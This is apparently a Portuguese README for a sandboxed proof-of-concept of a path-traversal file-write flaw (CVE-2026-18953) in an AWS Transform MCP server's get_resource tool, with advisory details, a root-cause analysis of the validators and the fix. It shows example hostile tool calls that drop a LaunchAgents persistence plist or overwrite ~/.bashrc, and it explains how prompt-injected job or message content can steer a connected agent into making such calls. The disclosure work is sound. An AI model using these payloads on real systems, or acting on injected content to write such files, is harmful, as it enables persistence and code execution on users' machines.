
Demonstra gravação arbitrária de arquivos (CVE-2026-18953) na ferramenta get_resource de um servidor MCP ao abusar do path traversal em savePath; inclui validadores vulneráveis e corrigidos (vendored) para verificação.
Escrita arbitrária de arquivos no awslabs.aws-transform-mcp-server (servidor
AWS Transform MCP) via o parâmetro savePath da ferramenta get_resource.
| CVE | CVE-2026-18953 |
| CWE | CWE-22 — Limitação inadequada de um nome de caminho (pathname) a um diretório restrito |
| Afetado | awslabs.aws-transform-mcp-server 0.1.0 – 0.1.4 |
| Corrigido em | 0.1.5 |
| CVSS v3.1 | 8.6 HIGH — AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| CVSS v4.0 | 6.3 MEDIUM — AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
| Aviso | GHSA-66mr-jr63-2jgw |
| Boletim | AWS Security Bulletin 2026-075 |
| Relator | Drew Raines (divulgação coordenada) |
| Publicado | 2026-08-05 |
get_resource(resource="artifact" | "asset", ...) baixa um arquivo de uma URL
S3 pré-assinada e, quando o chamador passa savePath / fileName, salva-o no
disco local por meio de:
tools/get_resource.py -> tool_utils.download_s3_content()
-> file_validation.validate_write_path()
Em <= 0.1.4, validate_write_path() apenas:
save_path com os.path.realpath(os.path.expanduser(...)).~/.aws, ~/.ssh, ~/.gnupg,
~/.docker, ~/.aws-transform-mcp, /etc/shadow, /etc/passwd).file_name via os.path.basename().Ele nunca restringe o diretório resolvido a um diretório base/de trabalho, e
BLOCKED_FILENAMES (.bashrc, .zshrc, authorized_keys, id_rsa, …) só é
aplicada em leituras, não em escritas. Portanto, qualquer cliente MCP deste
servidor — incluindo um agente que tenha sido indiretamente alvo de prompt
injection por meio de conteúdo não confiável de job/task/message que ele busca
através desta mesma ferramenta — pode definir savePath como um caminho
absoluto, uma travessia ../.. ou um nome de dotfile sensível, e o servidor
grava bytes influenciados pelo atacante nesse local. Isso é uma primitiva de
escrita de arquivos fora do diretório no qual o operador acredita que os
downloads estão confinados; o aviso observa que isso "poderia levar à execução
local de código" (por exemplo, sobrescrevendo um arquivo de inicialização do
shell).
0.1.5 corrige isso adicionando um diretório base em allow-list explícito
(_ALLOWED_WRITE_BASE, obtido de $AWS_TRANSFORM_MCP_WRITE_DIR ou do CWD do
servidor na inicialização) sob o qual todo caminho de escrita resolvido deve
estar, e também aplicando BLOCKED_FILENAMES no caminho de escrita final
resolvido.
Diff completo da causa raiz: vendor/0.1.4-vulnerable/file_validation.py
vs. vendor/0.1.5-fixed/file_validation.py
(ambos obtidos verbatim do PyPI / GitHub, Apache-2.0).
Um cliente MCP (Q Developer, Kiro, Claude, etc. conectado a este servidor) emite uma chamada de ferramenta como:
{
"name": "get_resource",
"arguments": {
"resource": "artifact",
"workspaceId": "ws-...",
"jobId": "job-...",
"artifactId": "art-...",
"savePath": "/Users/victim/Library/LaunchAgents",
"fileName": "com.evil.persist.plist"
}
}
ou, a partir de um diretório sandbox relativo:
{ "savePath": "../../../../../../Users/victim/.bashrc", "fileName": "x" }
Como a ferramenta descreve respostas de resource="task" como coisas que o
agente deve ler e sobre as quais agir, e o conteúdo de resource="messages" se
origina de dados de chat/job, um colaborador do workspace (ou uma fonte upstream
de job/message comprometida) não precisa convencer um humano a digitar isso —
basta direcionar um agente já conectado a chamar get_resource com um
savePath hostil. Nenhuma credencial real da AWS é necessária para demonstrar a
falha em si, já que o bug está inteiramente no tratamento local de caminhos,
antes/depois da busca no S3.
python3 poc.py
Sem dependências de terceiros, sem conta AWS, sem acesso de rede à AWS. O script:
file_validation.py real e não modificado das versões 0.1.4 e
0.1.5+ (veja vendor/).download_s3_content() com o fluxo de controle exato do
tool_utils.py upstream (httpx trocado apenas pelo urllib da stdlib —
zero dependências, mesma lógica) e o aciona exatamente como get_resource
faria.savePath/fileName — escape por caminho
absoluto, travessia relativa ../.. e um nome de dotfile bloqueado apenas em
leituras — contra o validador vulnerável e, em seguida, contra o corrigido.Tudo acontece dentro de um diretório temporário descartável criado com
mkdtemp(); seu $HOME real nunca é tocado. Exemplo de saída:
=== Target: file_validation.py from 0.1.4-vulnerable ===
-> Absolute path escape (no traversal needed at all)
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_absolute_path.sh
-> Relative "../../.." traversal out of the sandbox dir
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_traversal.sh
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/decoy_home/.bashrc
=== Target: file_validation.py from 0.1.5-fixed ===
-> Absolute path escape (no traversal needed at all)
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (...)
-> Relative "../../.." traversal out of the sandbox dir
RESULT: BLOCKED (raised ValueError): ...
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: BLOCKED (raised ValueError): ...
Atualize para awslabs.aws-transform-mcp-server >= 0.1.5. Não há solução
alternativa (workaround) no lado do servidor para versões mais antigas; o aviso
recomenda a atualização. Operadores que não puderem atualizar imediatamente
devem executar o servidor com o CWD definido para um diretório dedicado e vazio,
e tratar qualquer arquivo no qual ele possa escrever como comprometido.
README.md — this file
poc.py — self-contained PoC driver
vendor/_loguru_shim.py — tiny stand-in for the `loguru` dep (test scaffolding only)
vendor/0.1.4-vulnerable/file_validation.py — real vulnerable source, from PyPI sdist
vendor/0.1.5-fixed/file_validation.py — real patched source, from github.com/awslabs/mcp@main